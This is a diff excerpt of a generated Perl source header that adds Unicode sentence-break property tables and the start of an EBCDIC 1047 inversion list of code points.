+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_STerm,
+	SB_OLetter,
+	SB_Other,
+	SB_STerm,
+	SB_OLetter,
 	SB_Numeric,
+	SB_OLetter,
 	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
 	SB_OLetter,
+	SB_Extend,
 	SB_Other,
+	SB_Extend,
+	SB_Other,
 	SB_OLetter,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
 	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_OLetter,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_OLetter,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_OLetter,
+	SB_Lower,
+	SB_OLetter,
 	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
 	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
 	SB_Numeric,
 	SB_Other,
 	SB_Extend,
+	SB_OLetter,
 	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Numeric,
+	SB_OLetter,
 	SB_Extend,
 	SB_Other,
+	SB_STerm,
+	SB_OLetter,
 	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Numeric,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_STerm,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_STerm,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_OLetter,
+	SB_Extend,
+	SB_STerm,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
 	SB_Close,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
 	SB_Extend,
+	SB_SContinue,
+	SB_Other,
+	SB_SContinue,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_SContinue,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_SContinue,
+	SB_ATerm,
+	SB_Other,
+	SB_SContinue,
+	SB_STerm,
+	SB_SContinue,
+	SB_Close,
+	SB_Other,
+	SB_SContinue,
+	SB_Other,
 	SB_OLetter,
 	SB_Other,
 	SB_OLetter,
 	SB_Other,
+	SB_Format,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_SContinue,
+	SB_ATerm,
+	SB_Other,
+	SB_SContinue,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Upper,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Lower,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_Close,
+	SB_STerm,
+	SB_Close,
+	SB_SContinue,
+	SB_Other,
+	SB_OLetter,
 	SB_Extend,
+	SB_OLetter,
 	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Format,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
 	SB_Extend,
+	SB_Other,
 	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
 	SB_Extend,
 	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
 	SB_Extend,
 	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_OLetter,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
 	SB_Extend,
 	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
 	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
 	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
 	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_STerm,
+	SB_Other,
 	SB_Numeric,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Format,
 	SB_STerm,
 	SB_Other,
 	SB_OLetter,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
 	SB_Extend,
 	SB_OLetter,
 	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
 	SB_OLetter,
 	SB_Extend,
+	SB_Other,
 	SB_OLetter,
+	SB_Other,
 	SB_Extend,
 	SB_OLetter,
 	SB_Extend,
 	SB_OLetter,
+	SB_STerm,
+	SB_Other,
 	SB_Extend,
+	SB_STerm,
+	SB_Other,
+	SB_Numeric,
 	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
 	SB_Extend,
+	SB_STerm,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
 	SB_Numeric,
+	SB_Other,
 	SB_Extend,
 	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_STerm,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_STerm,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
 	SB_Upper,
+	SB_Lower,
+	SB_Numeric,
 	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_STerm,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_STerm,
+	SB_Other,
+	SB_OLetter,
+	SB_STerm,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Extend,
+	SB_STerm,
+	SB_Format,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Format,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
 	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
 	SB_Other,
+	SB_Lower,
 	SB_Upper,
+	SB_Lower,
+	SB_Upper,
 	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Other,
+	SB_Lower,
+	SB_Other,
+	SB_Lower,
+	SB_Upper,
+	SB_Lower,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_STerm,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Extend,
+	SB_Other,
 	SB_OLetter,
 	SB_Other,
+	SB_Extend,
+	SB_Other,
+	SB_Upper,
+	SB_Lower,
+	SB_Extend,
+	SB_Other,
+	SB_Numeric,
+	SB_Other,
 	SB_OLetter,
 	SB_Other,
 	SB_OLetter,
@@ -16526,22 +57189,4328 @@
 	SB_Other,
 	SB_OLetter,
 	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Upper,
+	SB_Other,
+	SB_Close,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_OLetter,
+	SB_Other,
+	SB_Format,
+	SB_Other,
 	SB_Extend,
 	SB_Other,
+	SB_Extend,
+	SB_Other
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#endif	/* defined(PERL_IN_REGEXEC_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV _Perl_SB_invlist[] = { /* for EBCDIC 1047 */
+	3026,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0xB,
+	0xD,
+	0xE,
+	0x15,
+	0x16,
+	0x25,
+	0x26,
+	0x40,
+	0x42,
+	0x4A,
+	0x4B,
+	0x4C,
+	0x4D,
+	0x4E,
+	0x51,
+	0x5A,
+	0x5B,
+	0x5D,
+	0x5E,
+	0x60,
+	0x61,
+	0x62,
+	0x6A,
+	0x6B,
+	0x6C,
+	0x6F,
+	0x70,
+	0x71,
+	0x79,
+	0x7A,
+	0x7B,
+	0x7D,
+	0x7E,
+	0x7F,
+	0x80,
+	0x81,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9D,
+	0x9E,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xBA,
+	0xBB,
+	0xBD,
+	0xBE,
+	0xC0,
+	0xC1,
+	0xCA,
+	0xCB,
+	0xD0,
+	0xD1,
+	0xDA,
+	0xDB,
+	0xE0,
+	0xE2,
+	0xEA,
+	0xEB,
+	0xF0,
+	0xFA,
+	0xFB,
+	0xFF,
+	0x100,
+	0x101,
+	0x102,
+	0x103,
+	0x104,
+	0x105,
+	0x106,
+	0x107,
+	0x108,
+	0x109,
+	0x10A,
+	0x10B,
+	0x10C,
+	0x10D,
+	0x10E,
+	0x10F,
+	0x110,
+	0x111,
+	0x112,
+	0x113,
+	0x114,
+	0x115,
+	0x116,
+	0x117,
+	0x118,
+	0x119,
+	0x11A,
+	0x11B,
+	0x11C,
+	0x11D,
+	0x11E,
+	0x11F,
+	0x120,
+	0x121,
+	0x122,
+	0x123,
+	0x124,
+	0x125,
+	0x126,
+	0x127,
+	0x128,
+	0x129,
+	0x12A,
+	0x12B,
+	0x12C,
+	0x12D,
+	0x12E,
+	0x12F,
+	0x130,
+	0x131,
+	0x132,
+	0x133,
+	0x134,
+	0x135,
+	0x136,
+	0x137,
+	0x139,
+	0x13A,
+	0x13B,
+	0x13C,
+	0x13D,
+	0x13E,
+	0x13F,
+	0x140,
+	0x141,
+	0x142,
+	0x143,
+	0x144,
+	0x145,
+	0x146,
+	0x147,
+	0x148,
+	0x14A,
+	0x14B,
+	0x14C,
+	0x14D,
+	0x14E,
+	0x14F,
+	0x150,
+	0x151,
+	0x152,
+	0x153,
+	0x154,
+	0x155,
+	0x156,
+	0x157,
+	0x158,
+	0x159,
+	0x15A,
+	0x15B,
+	0x15C,
+	0x15D,
+	0x15E,
+	0x15F,
+	0x160,
+	0x161,
+	0x162,
+	0x163,
+	0x164,
+	0x165,
+	0x166,
+	0x167,
+	0x168,
+	0x169,
+	0x16A,
+	0x16B,
+	0x16C,
+	0x16D,
+	0x16E,
+	0x16F,
+	0x170,
+	0x171,
+	0x172,
+	0x173,
+	0x174,
+	0x175,
+	0x176,
+	0x177,
+	0x178,
+	0x17A,
+	0x17B,
+	0x17C,
+	0x17D,
+	0x17E,
+	0x181,
+	0x183,
+	0x184,
+	0x185,
+	0x186,
+	0x188,
+	0x189,
+	0x18C,
+	0x18E,
+	0x192,
+	0x193,
+	0x195,
+	0x196,
+	0x199,
+	0x19C,
+	0x19E,
+	0x19F,
+	0x1A1,
+	0x1A2,
+	0x1A3,
+	0x1A4,
+	0x1A5,
+	0x1A6,
+	0x1A8,
+	0x1A9,
+	0x1AA,
+	0x1AC,
+	0x1AD,
+	0x1AE,
+	0x1B0,
+	0x1B1,
+	0x1B4,
+	0x1B5,
+	0x1B6,
+	0x1B7,
+	0x1B9,
+	0x1BB,
+	0x1BC,
+	0x1BD,
+	0x1C0,
+	0x1C4,
+	0x1C6,
+	0x1C7,
+	0x1C9,
+	0x1CA,
+	0x1CC,
+	0x1CD,
+	0x1CE,
+	0x1CF,
+	0x1D0,
+	0x1D1,
+	0x1D2,
+	0x1D3,
+	0x1D4,
+	0x1D5,
+	0x1D6,
+	0x1D7,
+	0x1D8,
+	0x1D9,
+	0x1DA,
+	0x1DB,
+	0x1DC,
+	0x1DE,
+	0x1DF,
+	0x1E0,
+	0x1E1,
+	0x1E2,
+	0x1E3,
+	0x1E4,
+	0x1E5,
+	0x1E6,
+	0x1E7,
+	0x1E8,
+	0x1E9,
+	0x1EA,
+	0x1EB,
+	0x1EC,
+	0x1ED,
+	0x1EE,
+	0x1EF,
+	0x1F1,
+	0x1F3,
+	0x1F4,
+	0x1F5,
+	0x1F6,
+	0x1F9,
+	0x1FA,
+	0x1FB,
+	0x1FC,
+	0x1FD,
+	0x1FE,
+	0x1FF,
+	0x200,
+	0x201,
+	0x202,
+	0x203,
+	0x204,
+	0x205,
+	0x206,
+	0x207,
+	0x208,
+	0x209,
+	0x20A,
+	0x20B,
+	0x20C,
+	0x20D,
+	0x20E,
+	0x20F,
+	0x210,
+	0x211,
+	0x212,
+	0x213,
+	0x214,
+	0x215,
+	0x216,
+	0x217,
+	0x218,
+	0x219,
+	0x21A,
+	0x21B,
+	0x21C,
+	0x21D,
+	0x21E,
+	0x21F,
+	0x220,
+	0x221,
+	0x222,
+	0x223,
+	0x224,
+	0x225,
+	0x226,
+	0x227,
+	0x228,
+	0x229,
+	0x22A,
+	0x22B,
+	0x22C,
+	0x22D,
+	0x22E,
+	0x22F,
+	0x230,
+	0x231,
+	0x232,
+	0x233,
+	0x23A,
+	0x23C,
+	0x23D,
+	0x23F,
+	0x241,
+	0x242,
+	0x243,
+	0x247,
+	0x248,
+	0x249,
+	0x24A,
+	0x24B,
+	0x24C,
+	0x24D,
+	0x24E,
+	0x24F,
+	0x294,
+	0x295,
+	0x2B9,
+	0x2C0,
+	0x2C2,
+	0x2C6,
+	0x2D2,
+	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
+	0x300,
+	0x370,
+	0x371,
+	0x372,
+	0x373,
+	0x374,
+	0x375,
+	0x376,
+	0x377,
+	0x378,
+	0x37A,
+	0x37E,
+	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x390,
+	0x391,
+	0x3A2,
+	0x3A3,
+	0x3AC,
+	0x3CF,
+	0x3D0,
+	0x3D2,
+	0x3D5,
+	0x3D8,
+	0x3D9,
+	0x3DA,
+	0x3DB,
+	0x3DC,
+	0x3DD,
+	0x3DE,
+	0x3DF,
+	0x3E0,
+	0x3E1,
+	0x3E2,
+	0x3E3,
+	0x3E4,
+	0x3E5,
+	0x3E6,
+	0x3E7,
+	0x3E8,
+	0x3E9,
+	0x3EA,
+	0x3EB,
+	0x3EC,
+	0x3ED,
+	0x3EE,
+	0x3EF,
+	0x3F4,
+	0x3F5,
+	0x3F6,
+	0x3F7,
+	0x3F8,
+	0x3F9,
+	0x3FB,
+	0x3FD,
+	0x430,
+	0x460,
+	0x461,
+	0x462,
+	0x463,
+	0x464,
+	0x465,
+	0x466,
+	0x467,
+	0x468,
+	0x469,
+	0x46A,
+	0x46B,
+	0x46C,
+	0x46D,
+	0x46E,
+	0x46F,
+	0x470,
+	0x471,
+	0x472,
+	0x473,
+	0x474,
+	0x475,
+	0x476,
+	0x477,
+	0x478,
+	0x479,
+	0x47A,
+	0x47B,
+	0x47C,
+	0x47D,
+	0x47E,
+	0x47F,
+	0x480,
+	0x481,
+	0x482,
+	0x483,
+	0x48A,
+	0x48B,
+	0x48C,
+	0x48D,
+	0x48E,
+	0x48F,
+	0x490,
+	0x491,
+	0x492,
+	0x493,
+	0x494,
+	0x495,
+	0x496,
+	0x497,
+	0x498,
+	0x499,
+	0x49A,
+	0x49B,
+	0x49C,
+	0x49D,
+	0x49E,
+	0x49F,
+	0x4A0,
+	0x4A1,
+	0x4A2,
+	0x4A3,
+	0x4A4,
